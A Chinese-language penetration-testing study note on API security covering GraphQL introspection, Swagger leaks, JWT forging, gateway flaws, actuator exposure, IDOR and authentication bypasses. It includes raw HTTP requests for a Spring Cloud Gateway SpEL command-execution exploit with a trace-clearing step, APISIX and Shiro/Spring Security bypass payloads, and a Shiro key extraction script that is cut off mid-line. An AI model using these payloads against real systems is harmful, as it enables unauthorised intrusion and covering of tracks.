API安全学习笔记

　　大家好，我是老李。今天和大家继续聊聊API安全。 必要性
　　前后端分离已经成为web的一大趋势，通过Tomcat+Ngnix(也可以中间有个Node.js)，有效地进行解耦。并且前后端分离会为以后的大型分布式架构、弹性计算架构、微服务架构、多端化服务（多种客户端，例如：浏览器，车载终端，安卓，IOS等等）打下坚实的基础。而API就承担了前后端的通信的职责。所以学习api安全很有必要。
　　本文的思路在于总结一些api方面常见的攻击面。笔者在这块也尚在学习中，如有错误，还望各位斧正。 常见的api技术GraphQL
　　GraphQL 是一个用于 API 的查询语言
　　通常有如下特征：
　　（1）数据包都是发送至/graphql接口
　　（2）其中包含了很多换行符  {＂query＂:＂     query IntrospectionQuery {r       __schema {r         queryType { name }r         mutationType { name }r         subscriptionType { name }r         types {r           ...FullTyper         }r         directives {r           namer           descriptionr           locationsr           args {r             ...InputValuer           }r         }r       }r     }r r     fragment FullType on __Type {r       kindr       namer       descriptionr       fields(includeDeprecated: true) {r         namer         descriptionr         args {r           ...InputValuer         }r         type {r           ...TypeRefr         }r         isDeprecatedr         deprecationReasonr       }r       inputFields {r         ...InputValuer       }r       interfaces {r         ...TypeRefr       }r       enumValues(includeDeprecated: true) {r         namer         descriptionr         isDeprecatedr         deprecationReasonr       }r       possibleTypes {r         ...TypeRefr       }r     }r r     fragment InputValue on __InputValue {r       namer       descriptionr       type { ...TypeRef }r       defaultValuer     }r r     fragment TypeRef on __Type {r       kindr       namer       ofType {r         kindr         namer         ofType {r           kindr           namer           ofType {r             kindr             namer             ofType {r               kindr               namer               ofType {r                 kindr                 namer                 ofType {r                   kindr                   namer                   ofType {r                     kindr                     namer                   }r                 }r               }r             }r           }r         }r       }r     }r   ＂,＂variables＂:null}SOAP-WSDLWSDL (Web Services Description Language,Web服务描述语言)是一种XML Application，他将Web服务描述定义为一组服务访问点，客户端可以通过这些服务访问点对包含面向文档信息或面向过程调用的服务进行访问
　　走的是SOAP协议，一般发送的xml格式的数据，然后会有WSDL文件
　　.net中常见的.asmx文件也有wsdl格式 xxx.asmx?wsdl
　　我们可以使用soapui对这类api进行测试 WADL
　　文件里面有很明显的wadl标志
　　同样也可以用soapui的rest功能进行测试
　　REST
　　rest api并不像前面几种那种特征明显，也是如今使用最多的一种api技术 REST 是一组架构规范，并非协议或标准。API 开发人员可以采用各种方式实施 REST。   当客户端通过 RESTful API 提出请求时，它会将资源状态表述传递给请求者或终端。该信息或表述通过 HTTP 以下列某种格式传输：JSON（Javascript 对象表示法）、HTML、XLT、Python、PHP 或纯文本。JSON 是最常用的编程语言，尽管它的名字英文原意为＂JavaScript 对象表示法＂，但它适用于各种语言，并且人和机器都能读。   还有一些需要注意的地方：头和参数在 RESTful API HTTP 请求的 HTTP 方法中也很重要，因为其中包含了请求的元数据、授权、统一资源标识符（URI）、缓存、cookie 等重要标识信息。有请求头和响应头，每个头都有自己的 HTTP 连接信息和状态码。获取端点的方式
　　对于api的一些安全测试，通常关注api的权限问题，api端点和基础设施的安全问题。
　　要测试api端点的安全问题，肯定得尽量获取多的api端点 swagger api-docs泄露
　　Swagger 是一个规范和完整的框架，用于生成、描述、调用和可视化 RESTful 风格的 Web 服务
　　常见指纹： # swagger 2 /swagger-ui.html /api-docs /v2/api-docs   # swagger 3 /swagger-ui/index.html
　　/api-docs /v2/api-docs /v3/api-docs ...
　　api-docs可泄露所有端点信息
　　这里推荐两个工具进行测试
　　第一个是swagger-editor
　　https://github.com/swagger-api/swagger-editor
　　下载之后打开index.html就可以用，可以选择导入或者远程加载url，支持json和yaml格式的api-docs
　　第二个是apikit https://github.com/API-Security/APIKit
　　burp插件
　　graphql内省查询
　　获取所有端点信息
　　https://mp.weixin.qq.com/s/gp2jGrLPllsh5xn7vn9BwQ {＂query＂:＂     query IntrospectionQuery {r       __schema {r         queryType { name }r         mutationType { name }r         subscriptionType { name }r         types {r           ...FullTyper         }r         directives {r           namer           descriptionr           locationsr           args {r             ...InputValuer           }r         }r       }r     }r r     fragment FullType on __Type {r       kindr       namer       descriptionr       fields(includeDeprecated: true) {r         namer         descriptionr         args {r           ...InputValuer         }r         type {r           ...TypeRefr         }r         isDeprecatedr         deprecationReasonr       }r       inputFields {r         ...InputValuer       }r       interfaces {r         ...TypeRefr       }r       enumValues(includeDeprecated: true) {r         namer         descriptionr         isDeprecatedr         deprecationReasonr       }r       possibleTypes {r         ...TypeRefr       }r     }r r     fragment InputValue on __InputValue {r       namer       descriptionr       type { ...TypeRef }r       defaultValuer     }r r     fragment TypeRef on __Type {r       kindr       namer       ofType {r         kindr         namer         ofType {r           kindr           namer           ofType {r             kindr             namer             ofType {r               kindr               namer               ofType {r                 kindr                 namer                 ofType {r                   kindr                   namer                   ofType {r                     kindr                     namer                   }r                 }r               }r             }r           }r         }r       }r     }r   ＂,＂variables＂:null}
　　我们可以用这个生成接口文档：
　　https://github.com/2fd/graphdoc
　　需要nodejs test.json是刚刚内省查询返回的json格式数据 npm install -g @2fd/graphdoc graphdoc -s ./test.json -o ./doc/schema
　　然后我们打开生成的/doc/index.html
　　根据他这个格式构造数据包就行了
　　其他
　　在黑盒测试中，很大一个问题就是api端点找得不够全，我们需要从对应的应用或者从其他方面找
　　（1）web
　　js html等静态资源可以有一些api端点
　　burp插件JS LinkFinder可以被动收集
　　（2）app和其他客户端应用
　　（3）github
　　（4）根据规律fuzz 鉴权方式Basic Auth
　　每次请求API时都提供用户的username和password
　　通常在http数据包中有一个Authorization头 Authorization: Basic base64(username:password)
　　这个安全性比较低，现在很少用到 JWT
　　jwt（json web token）是一种基于 Token 的认证授权机制
　　分为三部分 Header : 描述 JWT 的元数据，定义了生成签名的算法以及 Token 的类型。 Payload : 用来存放实际需要传递的数据 Signature（签名） ：服务器通过 Payload、Header 和一个密钥(Secret)使用 Header 里面指定的签名算法（默认是 HMAC SHA256）生成 防止 JWT被篡改
　　计算方式 加密算法( base64(header) + ＂.＂ + base64(payload), secret)
　　在线测试https://jwt.io/
　　普通token需要后端存储与用户的对应关系，而JWT自身携带对应关系 其他自定义头、cookie
　　诸如apikey 或者随机生成的其他形式的token 常见安全问题及测试方法api网关API 网关是一个搭建在客户端和微服务之间的服务，我们可以在 API 网关中处理一些非业务功能的逻辑，例如权限验证、监控、缓存、请求路由等。   API 网关就像整个微服务系统的门面一样，是系统对外的唯一入口。有了它，客户端会先将请求发送到 API 网关，然后由 API 网关根据请求的标识信息将请求转发到微服务实例。
　　apisix Apache APISIX 是 Apache 软件基金会下的云原生 API 网关，它兼具动态、实时、高性能等特点，提供了负载均衡、动态上游、灰度发布（金丝雀发布）、服务熔断、身份认证、可观测性等丰富的流量管理功能。我们可以使用 Apache APISIX 来处理传统的南北向流量，也可以处理服务间的东西向流量。同时，它也支持作为 K8s Ingress Controller 来使用。
　　apisix之前爆出过一个命令执行漏洞CVE-2022-24112 （目前最新版本是3.0）
　　影响范围： Apache APISIX 1.3 ~ 2.12.1 之间的所有版本（不包含 2.12.1 ） Apache APISIX 2.10.0 ~ 2.10.4 LTS 之间的所有版本（不包含 2.10.4）
　　搭建漏洞环境 git clone https://github.com/twseptian/cve-2022-24112 ##获取dockerfile文件 cd cve-2022-24112/apisix-docker/example/ ##进入相应目录 docker-compose -p docker-apisix up -d ##启动基于docker的apisix所有服务
　　利用条件 batch-requests插件默认开启状态。 用户使用了 Apache APISIX 默认配置（启用 Admin API ，使用默认 Admin Key 且没有额外分配管理端口），攻击者可以通过 batch-requests 插件调用 Admin API 。
　　攻击思路 1、利用batch-requests 插件漏洞、绕过请求头检测； 2、通过伪造请求头、向Admin API 注册路由； 3、注册路由时、携带参数filter_func 传递 lua代码、造成远程代码执行漏洞
　　exp：
　　https://github.com/twseptian/cve-2022-24112/blob/main/poc/poc2.py
　　Spring Cloud GatewaySpring Cloud Gateway 是 Spring Cloud 团队基于 Spring 5.0、Spring Boot 2.0 和 Project Reactor 等技术开发的高性能 API 网关组件
　　当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击
　　影响版本 Spring Cloud Gateway < 3.1.1 Spring Cloud Gateway < 3.0.7 Spring Cloud Gateway 其他已不再更新的版本
　　这个漏洞本身是一个SpEL注入
　　攻击方法：
　　第一步 添加路由 value参数传入了执行cmd的el表达式 POST /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1 Host: xxx.com:9090 User-Agent: xxx Content-Length: xxx Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Type: application/json Accept-Encoding: gzip, deflate Connection: close   {   ＂id＂: ＂AAAAAAAAAAAAAAAA＂,   ＂filters＂: [{     ＂name＂: ＂AddResponseHeader＂,     ＂args＂: {       ＂name＂: ＂Result＂,       ＂value＂: ＂#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(＂whoami＂).getInputStream()))}＂     }   }],   ＂uri＂: ＂http://xxx.com:9090/test/actuator/＂ }
　　第二步 刷新配置 POST /test/actuator/gateway/refresh HTTP/1.1 Host: xxx:9090 User-Agent: xxx Content-Length: 0 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate Connection: close
　　第三步，获取命令执行结果 GET /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1 Host: xxxx:9090 User-Agent: xxx Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Accept-Encoding: gzip, deflate Connection: close
　　清除痕迹： DELETE /test/actuator/gateway/routes/AAAAAAAAAAAAAAAA HTTP/1.1 Host: xxx User-Agent: xxx Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Accept-Encoding: gzip, deflate Connection: closetraefik
　　这个倒是没爆出过什么漏洞，实战中遇到过几次dashboard存在未授权访问的情况，
　　这个dashboard没法直接部署容器啥的
　　但是可以从它http->http routers这里看到一些路由转发规则，比如host path，对于后续的渗透有一些帮助，可以知道一些二级目录和域名
　　还有其他页面比如http services会泄露一些内网ip等等 actuator未授权访问
　　默认只开放 health
　　如果在application.properties添加了 management.endpoints.web.exposure.include=*
　　或者application.yml添加 management:   endpoints:     web:       exposure:         #默认值访问health,info端点  用*可以包含全部端点         include: ＂*＂   endpoint:     health:       show-details: always #获得健康检查中所有指标的详细信息
　　则会暴露所有端点(endpoints)
　　此时这些端点就存在未授权访问
　　利用方法大部分这篇文章已经讲了https://github.com/LandGrey/SpringBootVulExploit
　　这里不再重复提及 heapdump获取shiro key
　　测试环境：https://github.com/ruiyeclub/SpringBoot-Hello/tree/master/springboot-shiro
　　下载heapdump /actuator/heapdump
　　jvisualvm.exe：Java自带的工具，默认路径为：JDK目录/bin/jvisualvm.exe
　　打开heapdump， 搜索org.apache.shiro.web.mgt.CookieRememberMeManager
　　然后双击这个类，找到key，右边是key的值
　　复制 -83, 105, 9, -110, -96, 22, -27, -120, 23, 113, 108, -104, -1, -35, -6, -111
　　转换的python脚本： import base64 import struct   print(base64.b64encode(struct.pack(＂ GET /api/user?id={userid1}&id={userid2}
　　（2）附加特殊字符和随机字符串
　　简单地替换 id 可能会导致 40x等情况。可以尝试添加一些特殊字符 / %20、%09、%0b、%0c、%1c、%1d、%1e、%1fGET /api/user/1 => GET /api/user/1%20
　　（3）添加查询参数
　　url中可能并没有参数，可以自己添加一些字段（可以是网站返回的，也可以是常见的一些比如id username等等）：
　　比如 GET /api/user => GET /api/user?id=1 GET /api/user?userid=1 GET /api/user?username=1 ...
　　（4）修改动作
　　常见有增删改查
　　比如 GET /api/edit/user/1 => GET /api/detele/user/1   PUT /api/user  新增 => DETELE /api/user/1 尝试删除xxe
　　api为了兼容一些不同的应用场景比如小程序、app等等，可能会兼容不同的数据传输格式
　　比如之前一个银行的测试，接口传输数据采用的是json格式
　　将json格式数据改为xml格式时，发现存在xml外部实体注入漏洞（xxe）
　　鉴权绕过思路伪造jwt token
　　有些网站，访问时会给你一个jwt token，但是payload部分很多字段是空的，这个时候可以去尝试去修改payload中，可能和身份认证相关的字段，伪造jwt token。
　　伪造就需要解决签名问题
　　（1）修改签名算法为none
　　（2）爆破签名的密钥
　　（3）伪造密钥
　　...
　　可以使用jwt_tool进行测试
　　https://github.com/ticarpi/jwt_tool
　　Spring-security 认证绕过漏洞
　　CVE-2022-22978
　　影响版本：
　　Spring Security 5.5.x < 5.5.7
　　Spring Security 5.6.x < 5.6.4 在spring-security中利用换行符可实现权限认证进行绕过，r的URl编码为%0d， 的URL编码为%0a 比如： /admin/1 -> 需要认证 /admin/1%0d%0a -> 绕过认证shiro权限绕过
　　举两个例子
　　（1）CVE-2020-1957
　　影响版本: shiro < 1.5.2
　　shiro与spring的URI中对;处理不同，导致绕过 比如http://127.0.0.1:8080/;/admin，shiro则是认为是访问http://127.0.0.1:8080/ 比如http://127.0.0.1:8080/;/admin，spring则是认位是访问http://127.0.0.1:8080/admin 这就造成了与shiro处理 式的差异，shiro是直接截断后 所有部分， spring只会截断【分号之后，斜杠之前】的部分
　　/admin/ -> 403
　　/;aaaa/admin/ -> 200
　　（2）CVE-2020-13933
　　影响版本: shiro < 1.6.0 访问/admin/index 需要认证 而/admin/%3bindex，能够绕过认证：其他
　　这里就是一些经验之谈
　　（1）github、前端的js以及app中可能存在一些测试的token
　　（2）测试站点的凭据可能在正式站点上面也有效
　　（3）有些应用有toB toC不同的接口，在校验不严格的情况下，toC端的凭据可能能用在toB端的接口认证上，比如某次漏洞挖掘中小程序用户登录获取token，可以用在商家端的一些api绕过认证。 参考
　　https://github.com/API-Security/APIKit
　　https://github.com/OWASP/API-Security
　　https://www.cnblogs.com/tomyyyyy/p/15134420.html
　　https://www.cnblogs.com/zpchcbd/p/15023056.html
　　https://www.freebuf.com/vuls/343980.html
　　https://apisix.apache.org/zh/docs/apisix/getting-started/
　　https://zhuanlan.zhihu.com/p/569328044
　　https://www.cnblogs.com/9eek/p/16243402.html
　　http://c.biancheng.net/springcloud/gateway.html